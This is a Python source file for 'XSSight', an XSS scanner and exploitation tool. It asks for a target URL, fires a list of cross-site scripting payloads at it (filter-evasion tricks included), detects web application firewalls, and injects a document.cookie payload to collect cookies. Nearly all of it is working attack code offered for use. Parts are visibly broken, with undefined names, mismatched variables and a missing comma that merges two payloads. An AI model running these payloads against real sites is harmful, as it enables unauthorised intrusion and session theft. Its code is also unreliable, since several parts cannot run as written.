XSSight/xssight.py
UltimateHackers feb9d775f3 xssight.py
2017-05-09 13:22:11 +05:30

286 lines
14 KiB
Python
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

#!/usr/bin/env python
# -*- coding: cp1252 -*-
# A XSS Scanner and Exploitation Script by D3V teamultimate.in
# Forked from XSSYA by yehia-mamdouh
from __future__ import absolute_import
from __future__ import print_function
import urllib2
from urllib2 import Request, build_opener, HTTPCookieProcessor, HTTPHandler
import urllib
from urllib import FancyURLopener
import six.moves.http_cookiejar
import socket
import time
import ssl
import re
import six.moves.http_cookiejar, optparse, random, string, urlparse
import sys
import six.moves.http_client
import colorama
import cookielib
from functools import partial
import custom
from colorama import Fore, Back, Style
from colorama import init
from six.moves import input
colorama.init()
GET, POST = "GET", "POST"
retval, usable = False, False
SMALLER_CHAR_POOL = ('<', '>') # characters used for XSS tampering of parameter values (smaller set - for avoiding possible SQLi errors)
LARGER_CHAR_POOL = ('\'', '"', '>', '<', ';') # characters used for XSS tampering of parameter values (larger set)
GET, POST = "GET", "POST" # enumerator-like values used for marking current phase
PREFIX_SUFFIX_LENGTH = 5 # length of random prefix/suffix used in XSS tampering
COOKIE, UA, REFERER = "Cookie", "User-Agent", "Referer" # optional HTTP header names
TIMEOUT = 30 # connection timeout in seconds
DOM_FILTER_REGEX = r"(?s)<!--.*?-->|\bescape\([^)]+\)|\([^)]+==[^(]+\)|\"[^\"]+\"|'[^']+'" # filtering regex used before DOM XSS search
REGULAR_PATTERNS = ( # each (regular pattern) item consists of (r"context regex", (prerequitarget unfiltered characters), "info text", r"content removal regex")
(r"\A[^<>]*%(chars)s[^<>]*\Z", ('<', '>'), "\".xss.\", pure text response, %(filtering)s filtering", None),
(r"<!--[^>]*%(chars)s|%(chars)s[^<]*-->", ('<', '>'), "\"<!--.'.xss.'.-->\", inside the comment, %(filtering)s filtering", None),
(r"(?s)<script[^>]*>[^<]*?'[^<']*%(chars)s|%(chars)s[^<']*'[^<]*</script>", ('\'', ';'), "\"<script>.'.xss.'.</script>\", enclosed by <script> tags, inside single-quotes, %(filtering)s filtering", None),
(r'(?s)<script[^>]*>[^<]*?"[^<"]*%(chars)s|%(chars)s[^<"]*"[^<]*</script>', ('"', ';'), "'<script>.\".xss.\".</script>', enclosed by <script> tags, inside double-quotes, %(filtering)s filtering", None),
(r"(?s)<script[^>]*>[^<]*?%(chars)s|%(chars)s[^<]*</script>", (';',), "\"<script>.xss.</script>\", enclosed by <script> tags, %(filtering)s filtering", None),
(r">[^<]*%(chars)s[^<]*(<|\Z)", ('<', '>'), "\">.xss.<\", outside of tags, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r"<[^>]*'[^>']*%(chars)s[^>']*'[^>]*>", ('\'',), "\"<.'.xss.'.>\", inside the tag, inside single-quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r'<[^>]*"[^>"]*%(chars)s[^>"]*"[^>]*>', ('"',), "'<.\".xss.\".>', inside the tag, inside double-quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
(r"<[^>]*%(chars)s[^>]*>", (), "\"<.xss.>\", inside the tag, outside of quotes, %(filtering)s filtering", r"(?s)<script.+?</script>|<!--.*?-->"),
)
_headers = {} # used for storing dictionary with optional header values
def _retrieve_content(url, data=None):
try:
req = urllib2.Request("".join(url[i].replace(' ', "%20") if i > url.find('?') else url[i] for i in range(len(url))), data, _headers)
retval = urllib2.urlopen(req, timeout=TIMEOUT).read()
except Exception as ex:
retval = ex.read() if hasattr(ex, "read") else getattr(ex, "msg", str())
return retval or ""
def _contains(content, chars):
content = re.sub(r"\\[%s]" % re.escape("".join(chars)), "", content) if chars else content
return all(char in content for char in chars)
def scan_page(url, data=None):
retval, usable = False, False
url, data = re.sub(r"=(&|\Z)", "=1\g<1>", url) if url else url, re.sub(r"=(&|\Z)", "=1\g<1>", data) if data else data
original = re.sub(DOM_FILTER_REGEX, "", _retrieve_content(url, data))
dom = max(re.search(_, original) for _ in DOM_PATTERNS)
###Cross Site Scripting Payloads###
xss_attack = ["%22%3Cscript%3Ealert%28%27dev%27%29%3C%2Fscript%3E"
"<script>alert('dev')</script>",
"1<ScRiPt >prompt(962477)</sCripT>",
"<script>alert('dev')</script>",
"'';!--\"<XSS>=&{()}",
"<ScRipt>ALeRt('dev');</sCRipT>",
"<body/onhashchange=alert(1)><a href=#>clickit",
"<img src=x onerror=prompt(1);>",
"%3cvideo+src%3dx+onerror%3dprompt(1)%3b%3e",
"<iframesrc=\"javascript:alert(2)\">",
"<iframe/src=\"data:text&sol;html;&Tab;base64&NewLine;,PGJvZHkgb25sb2FkPWFsZXJ0KDEpPg==\">",
"<form action=\"Javascript:alert(1)\"><input type=submit>",
"<isindex action=data:text/html, type=image>",
"<object data=\"data:text/html;base64,PHNjcmlwdD5hbGVydCgiSGVsbG8iKTs8L3NjcmlwdD4=\">",
"<svg/onload=prompt(1);>",
"<marquee/onstart=confirm(2)>/",
"<body onload=prompt(1);>",
"<q/oncut=open()>",
"<a onmouseover=location=javascript:alert(1)>click",
"<svg><script>alert&#40/1/&#41</script>",
"&lt;/script&gt;&lt;script&gt;alert(1)&lt;/script&gt;",
"<scri%00pt>alert(1);</scri%00pt>",
"<scri%00pt>confirm(0);</scri%00pt>",
"5\x72\x74\x28\x30\x29\x3B'>rhainfosec",
"<isindex action=j&Tab;a&Tab;vas&Tab;c&Tab;r&Tab;ipt:alert(1) type=image>",
"<marquee/onstart=confirm(2)>",
"<A HREF=\"http://www.google.com./\">XSS</A>",
"<svg/onload=prompt(1);>"]
class MyOpener(FancyURLopener):
version = 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.1.11)Gecko/20071127 Firefox/2.0.0.11'
myopener = MyOpener()
class JSHTTPCookieProcessor(urllib2.BaseHandler):
handler_order = 400
#Function In Case of Crawling
def xss(exploit):
for link in links:
print(Fore.RED + "Testing:",link[0]+exploit)
try:
if xi != 0:
handler = urllib2.Handler({'http': 'http://' + '/'})
opener = urllib2.build_opener(link[0]+exploit, handler)
source = opener.open(link[0]+exploit).read()
else:
source = myopener.open(link[0]+exploit).read()
print("Source Length:",len(source))
if re.search("xss", source.lower()) != None:
print(Fore.RED + "\n[!] XSS:",link[0]+exploit,"\n")
else:
print(Fore.GREEN + "[-] Not Vulnerable.")
except(urllib2.HTTPError) as msg:
print("[-] Error:",msg)
pass
#Function in case of Vulnerability Confirmation
def xxs2(exploi):
print(Fore.RED + " Testing:",host+exploi)
try:
if xi != 0:
handle = urllib2.Handler({'http': 'http://' + '/'})
opene = urllib2.build_opener(host+exploit, handle)
sourc = opene.open(host+exploit).read()
else:
sourc = myopener.open(host+exploi).read()
print(" Source Length:",len(sourc))
##Detecting WAF if Exist
if res1.code == 406:
print(" WAF Detected => (Mod_Security)")
elif res1.code == 999:
print(" WAF Detected => WebKnight")
time.sleep(5)
elif res1.code == 419:
print(" WAF Detected => F5 BIG IP")
else:
print("\033[1;32m WAF Not Found\033[1;m")
if re.search("xss", sourc.lower()) != None:
print(Fore.RED + "\n[!] XSS:",host+exploi,"\n")
else:
print(Fore.GREEN + "[-] Not Vulnerable.")
except(urllib2.HTTPError) as msg:
print("[-] Error:",msg)
pass
####### Print Menu and Exmaple ########
print("\t\033[1;31m .-'^`\ /`^'-.\033[1;m")
print("\t\033[1;31m .' ___\ /___ `.\033[1;m")
print("\t\033[1;31m / /.---. .---.\ `\033[1;m")
print("\t\033[1;31m| // '-. ___________________________ .-' \\ |\033[1;m")
print("\t\033[1;31m| ;| \/--------------------------// |; |\033[1;m")
print("\t\033[1;31m\ || |\_) XSSight (_/| || /\033[1;m")
print("\t\033[1;31m \ | \ . \ ; | By Team Ultimate || ; / . / | /\033[1;m")
print("\t\033[1;31m '\_\ \\ \ \ \ | ||/ / / // /_/'\033[1;m")
print("\t\033[1;31m \\ \ \ \| Beta Release |/ / / //\033[1;m")
print("\t\033[1;31m `'-\_\_\ teamultimate.in /_/_/-'`\033[1;m")
print("\t\033[1;31m '--------------------------' \033[1;m")
print("XSSight is a mod of XSSYA by yehia-mamdouh")
print("\033[1;35m These types of URLs are accepted\033[1;m")
print(" Example: http://www.website.com/ ")
print(" Example: http://www.website.com= ")
print(" Example: http://www.website.com? ")
host = input("\033[1;35m\n Enter target url:\033[1;m ")
res = myopener.open(host)
res1= urllib.urlopen(host)
html = res.read()
links = re.findall('"((http|href)s?://.*?)"', html)
print((30 * '\033[1;31m-\033[1;m'))
print ("Select an operation:")
print((30 * '\033[1;31m-\033[1;m'))
print (" 1. XSS Scanner")
print (" 2. Payload Injector")
choice = input(' Enter your choice [1-2] : ')
print(res.info())
myfile = res.read()
### Testing the connection ###
try:
if sys.argv[3]:
xi = sys.argv[3]
print("Testing The Connection...")
h2 = six.moves.http_client.httplib.ssl(xi)
h2.connect()
print("[+] xi:",xi)
except(socket.timeout):
print("\033[1;31mConnection Timed Out\033[1;m")
xi = 0
pass
except:
xi = 0
pass
### Print the result in Case of Crawling###
if('1' in choice):
try:
for phase in (GET, POST):
current = host if phase is GET else ("")
for match in re.finditer(r"((\A|[?&])(?P<parameter>[\w\[\]]+)=)(?P<value>[^&#]*)", current):
found, usable = False, True
print("* scanning %s parameter '%s'" % (phase, match.group("parameter")))
prefix, suffix = ("".join(random.sample(string.ascii_lowercase, PREFIX_SUFFIX_LENGTH)) for i in range(2))
for pool in (LARGER_CHAR_POOL, SMALLER_CHAR_POOL):
if not found:
tampered = current.replace(match.group(0), "%s%s" % (match.group(0), urllib.quote("%s%s%s%s" % ("'" if pool == LARGER_CHAR_POOL else "", prefix, "".join(random.sample(pool, len(pool))), suffix))))
content = (_retrieve_content(tampered) if phase is GET else _retrieve_content(url, tampered)).replace("%s%s" % ("'" if pool == LARGER_CHAR_POOL else "", prefix), prefix)
for sample in re.finditer("%s([^ ]+?)%s" % (prefix, suffix), content, re.I):
for regex, condition, info, content_removal_regex in REGULAR_PATTERNS:
context = re.search(regex % {"chars": re.escape(sample.group(0))}, re.sub(content_removal_regex or "", "", content), re.I)
if context and not found and sample.group(1).strip():
if _contains(sample.group(1), condition):
print(" (i) %s parameter '%s' appears to be XSS vulnerable (%s)" % (phase, match.group("parameter"), info % dict((("filtering", "no" if all(char in sample.group(1) for char in LARGER_CHAR_POOL) else "some"),))))
found = retval = True
break
if not usable:
print("\033[1;31m (x) no usable GET/POST parameters found\033[1;m")
except urllib2.HTTPError:
print("Error")
if('2' in choice):
print ("[+] Injecting payloads in the parameter:", host),len(xss_attack),("payloads\n")
for exploi in xss_attack:
time.sleep(5)
xxs2(exploi.replace("\n",""))
###Confirm by Searching Payload in Web Page###
heer = xss_attack
try:
mam = myopener.open(host+exploi).read()
found = False
for payload in heer:
if payload in mam:
found = True
if found:
print ("\033[1;32m[+] Confirmed Payload Found in Web Page Code\033[1;m")
#Getting COKKIES
cj = cookielib.CookieJar()
opener = build_opener(HTTPCookieProcessor(cj), HTTPHandler())
xss_cookie = ("%3cscript%3ealert(document.cookie)%3c/script%3e")
url1 = (host+xss_cookie)
req = Request(url1, headers={'User-Agent' : "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/534.30 (KHTML, like Gecko) Ubuntu/11.04 Chromium/12.0.742.112 Chrome/12.0.742.112 Safari/534.30"})
f = opener.open(req)
html = f.read()
print ("Excute document.cookie")
time.sleep (3)
for cookie in cj:
print ("\033[1;32m==>\033[1;m", cookie)
sys.exit()
else:
print ("\033[1;31m[-] False Positive\033[1;m")
except urllib2.HTTPError:
print ("\033[1;31mError\033[1;m")